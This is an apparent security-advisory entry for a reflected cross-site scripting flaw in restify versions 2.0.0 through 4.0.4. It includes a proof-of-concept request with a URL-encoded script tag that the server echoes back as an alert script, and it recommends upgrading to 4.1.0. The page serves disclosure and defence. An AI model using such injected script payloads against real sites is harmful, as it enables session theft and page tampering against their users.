Lucene search

K
nodejsCycoPHNODEJS:314
HistoryFeb 27, 2017 - 10:50 p.m.

Cross-Site Scripting (XSS)

2017-02-2722:50:23
CycoPH
www.npmjs.com
31

0.001 Low

EPSS

Percentile

41.5%

Overview

Affected versions of restify are susceptible to a cross-site scripting vulnerability when using URL encoded script tags in a non-existent URL.

Proof of Concept:

Request

https://localhost:3000/no5_such3_file7.pl?%22%3E%3Cscript%3Ealert(73541);%3C/script%3E

Will be included in response:

<script>alert(73541);</script>

Recommendation

Update to version 4.1.0 or later.

References

CPENameOperatorVersion
restifyge2.0.0 <=4.0.4

0.001 Low

EPSS

Percentile

41.5%

Related for NODEJS:314